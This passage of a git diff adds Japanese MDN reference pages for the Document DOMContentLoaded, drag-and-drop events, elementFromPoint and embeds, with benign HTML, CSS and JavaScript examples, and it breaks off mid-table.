name="Live_example">ライブデモ</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><div class="controls"> + <button id="reload" type="button">Reload</button> +</div> + +<div class="event-log"> + <label>Event log:</label> + <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> +</div></pre> + +<div class="hidden"> +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} + +</pre> +</div> + +<h4 id="JS">JS</h4> + +<pre class="brush: js notranslate">const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); + +</pre> + +<h4 id="Result" name="Result">結果</h4> + +<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#stop-parsing', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML5 W3C', 'syntax.html#the-end', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント: {{domxref("Window/load_event", "load")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}</li> + <li>{{domxref("Window")}} を対象とした同じイベント: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}</li> +</ul> diff --git a/files/ja/web/api/document/drag_event/index.html b/files/ja/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..87e9135a4e --- /dev/null +++ b/files/ja/web/api/document/drag_event/index.html @@ -0,0 +1,183 @@ +--- +title: 'Document: drag イベント' +slug: Web/API/Document/drag_event +tags: + - API + - DOM + - Document + - Drag + - DragEvent + - Event + - Reference + - Web + - drag and drop + - イベント + - ウェブ +translation_of: Web/API/Document/drag_event +--- +<div>{{APIRef}}</div> + +<p><code>drag</code> イベントは、要素や選択されたテキストをユーザーがドラッグしている間に、数百ミリ秒ごとに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>ドラッグ＆ドロップ操作を続ける</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードは <a href="http://jsfiddle.net/zfnj5rv4/">JSFiddle デモ</a>または以下で直接ご覧ください。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div class="dropzone"> + <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> + This div is draggable + </div> +</div> +<div class="dropzone"></div> +<div class="dropzone"></div> +<div class="dropzone"></div> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">#draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; +} + +.dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; +} +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var dragged; + +/* events fired on the draggable target */ +document.addEventListener("drag", function(event) { + +}, false); + +document.addEventListener("dragstart", function(event) { + // store a ref. on the dragged elem + dragged = event.target; + // make it half transparent + event.target.style.opacity = .5; +}, false); + +document.addEventListener("dragend", function(event) { + // reset the transparency + event.target.style.opacity = ""; +}, false); + +/* events fired on the drop targets */ +document.addEventListener("dragover", function(event) { + // prevent default to allow drop + event.preventDefault(); +}, false); + +document.addEventListener("dragenter", function(event) { + // highlight potential drop target when the draggable element enters it + if (event.target.className == "dropzone") { + event.target.style.background = "purple"; + } + +}, false); + +document.addEventListener("dragleave", function(event) { + // reset background of potential drop target when the draggable element leaves it + if (event.target.className == "dropzone") { + event.target.style.background = ""; + } + +}, false); + +document.addEventListener("drop", function(event) { + // prevent default action (open as link for some elements) + event.preventDefault(); + // move dragged elem to the selected drop target + if (event.target.className == "dropzone") { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } +}, false);</pre> + +<p>{{EmbedLiveSample('Examples', '300', '200', '')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.drag_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/drag_event", "drag")}} イベント</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drag_event", "drag")}} イベント</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drag_event", "drag")}} イベント</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/dragend_event/index.html b/files/ja/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..359df887c1 --- /dev/null +++ b/files/ja/web/api/document/dragend_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: dragend イベント' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragend_event +--- +<div>{{APIRef}}</div> + +<p><code>dragend</code> イベントは、ドラッグ操作が終わろうとしているとき (マウスボタンを離したり、エスケープキーを押したりしたとき) に発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>様々</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.dragend_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragend_event", "dragend")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragend_event", "dragend")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragend_event", "dragend")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/dragenter_event/index.html b/files/ja/web/api/document/dragenter_event/index.html new file mode 100644 index 0000000000..b6104d78f1 --- /dev/null +++ b/files/ja/web/api/document/dragenter_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'Document: dragenter イベント' +slug: Web/API/Document/dragenter_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragenter + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragenter_event +--- +<div>{{APIRef}}</div> + +<p><code>dragenter</code> イベントは、ドラッグ中のイベントやテキストの選択範囲が、妥当なドロップターゲットに入ったときに発生します。</p> + +<p>ターゲットのオブジェクトは<em>ユーザーによる直接の選択範囲</em> (ドロップターゲットとしてユーザーによって直接示された要素)、または {{HTMLElement("body")}} 要素です。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>ユーザーによる直接の選択範囲をターゲット要素の可能性から除外する</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondragenter", "ondragenter")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">コメント</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragenter")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.dragenter_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragenter_event", "dragenter")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragenter_event", "dragenter")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragenter_event", "dragenter")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/dragleave_event/index.html b/files/ja/web/api/document/dragleave_event/index.html new file mode 100644 index 0000000000..d02775d087 --- /dev/null +++ b/files/ja/web/api/document/dragleave_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: dragleave イベント' +slug: Web/API/Document/dragleave_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragleave + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragleave_event +--- +<div>{{APIRef}}</div> + +<p><code>dragleave</code> イベントは、ドラッグしている要素や選択中のテキストが妥当なドロップターゲットを離れたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondragleave", "ondragleave")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragleave")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.dragleave_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragleave_event", "dragleave")}} イベント</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragleave_event", "dragleave")}} イベント</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragleave_event", "dragleave")}} イベント</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/dragover_event/index.html b/files/ja/web/api/document/dragover_event/index.html new file mode 100644 index 0000000000..41e2582faf --- /dev/null +++ b/files/ja/web/api/document/dragover_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'Document: dragover イベント' +slug: Web/API/Document/dragover_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragover + - イベント + - ウェブ + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragover_event +--- +<div>{{APIRef}}</div> + +<p><code>dragover</code> イベントは、要素または選択されたテキストが、妥当なドロップターゲットの上にあるときに (数百ミリ秒間隔で) 発生します。</p> + +<p>このイベントはドロップターゲットで発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>現在のドラッグ操作を「なし」にリセットする。</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondragover", "ondragover")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragover")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.dragover_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragover_event", "dragover")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragover_event", "dragover")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragover_event", "dragover")}} event</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/dragstart_event/index.html b/files/ja/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..be6565641a --- /dev/null +++ b/files/ja/web/api/document/dragstart_event/index.html @@ -0,0 +1,96 @@ +--- +title: 'Document: dragstart イベント' +slug: Web/API/Document/dragstart_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - drag and drop + - ドラッグ＆ドロップ +translation_of: Web/API/Document/dragstart_event +--- +<div>{{APIRef}}</div> + +<p><code>dragstart</code> イベントは、ユーザーが要素や選択されたテキストをドラッグし始めたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>ドラッグ＆ドロップ操作を始める。</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.dragstart_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} イベント</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} イベント</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} イベント</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/drop_event/index.html b/files/ja/web/api/document/drop_event/index.html new file mode 100644 index 0000000000..35bd7e837b --- /dev/null +++ b/files/ja/web/api/document/drop_event/index.html @@ -0,0 +1,96 @@ +--- +title: 'Document: drop イベント' +slug: Web/API/Document/drop_event +tags: + - DOM + - Document + - Drag Event + - Drop + - Event + - HTML 5 + - Reference + - drag and drop +translation_of: Web/API/Document/drop_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>drop</code></strong> イベントは、要素または選択されたテキストが、妥当なドロップターゲットにドロップされたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">既定のアクション</th> + <td>様々</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/ondrop", "ondrop")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>サンプルコードは {{domxref("Document/drag_event", "drag")}} イベント、またはこの <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle デモ</a>をご覧ください。</p> + +<p>{{EmbedLiveSample('Examples', '300', '200', '', '/Web/API/Document/drag_event')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.drop_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>その他のドラッグ＆ドロップイベント: + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + </ul> + </li> + <li>他のターゲットにおけるこのイベント: + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/drop_event", "drop")}} イベント</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drop_event", "drop")}} イベント</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drop_event", "drop")}} イベント</li> + </ul> + </li> +</ul> diff --git a/files/ja/web/api/document/elementfrompoint/index.html b/files/ja/web/api/document/elementfrompoint/index.html new file mode 100644 index 0000000000..1017a6e0c0 --- /dev/null +++ b/files/ja/web/api/document/elementfrompoint/index.html @@ -0,0 +1,49 @@ +--- +title: document.elementFromPoint +slug: Web/API/Document/elementFromPoint +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +--- +<div> + {{ApiRef()}} {{Fx_minversion_header(3)}}</div> +<h2 id="Summary" name="Summary">概要</h2> +<p>文書の左上を基点として指定された座標上にある要素を返します。</p> +<h2 id="Syntax" name="Syntax">構文</h2> +<pre class="syntaxbox"><var>element</var> = document.elementFromPoint(<i>x</i>,<i>y</i>);</pre> +<ul> + <li><code>element</code> には <a href="/ja/docs/DOM/element">element</a> オブジェクトが入ります。</li> + <li><code>x</code> と <code>y</code> には取得したい要素の座標を指定してください。</li> +</ul> +<h2 id="Example" name="Example">例</h2> +<pre class="brush:html"><!DOCTYPE html> +<html lang="ja"> +<head> +<title>elementFromPoint の使用例</title> + +<script> +function changeColor(newColor) { + elem = document.elementFromPoint(2, 2); + elem.style.color = newColor; +} +</script> +</head> + + +<body> +<p id="para1">色は匂へど 散りぬるを……</p> +<button onclick="changeColor('blue');">blue</button> +<button onclick="changeColor('red');">red</button> +</body> +</html> +</pre> +<h2 id="Notes" name="Notes">注記</h2> +<p>指定された座標にある要素が別のドキュメント(例えば iframe 内にあるサブドキュメント) に属する場合、指定された座標にあるドキュメントの DOM 要素 (iframe) を返します。もし指定された座標にある要素が匿名あるいは textbox のスクロールバーのように XBL によって生成された内容の場合、指定された座標にある要素を基点として、匿名ではない最初の親要素(例えば textbox)が返されます。</p> +<p>指定された座標がドキュメントの表示外にあるか、座標のどちらかに負の値が設定されている場合は <code>NULL</code> を返します。</p> +<p>{{Note("XUL ドキュメントからは onload イベントが発生するまでは、このメソッドを使用してはいけません。")}}</p> +<h2 id="Specification" name="Specification">仕様</h2> +<ul> + <li>仮仕様: <a class="external" href="http://dev.w3.org/csswg/cssom/#documentlayout-elementfrompoint"><code>elementFromPoint</code></a></li> +</ul> diff --git a/files/ja/web/api/document/embeds/index.html b/files/ja/web/api/document/embeds/index.html new file mode 100644 index 0000000000..0dc595c755 --- /dev/null +++ b/files/ja/web/api/document/embeds/index.html @@ -0,0 +1,50 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - embeds + - プロパティ +translation_of: Web/API/Document/embeds +--- +<div>{{ApiRef}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>embeds</code></strong> プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>nodeList</var> = document.embeds +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLCollection")}} です。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th 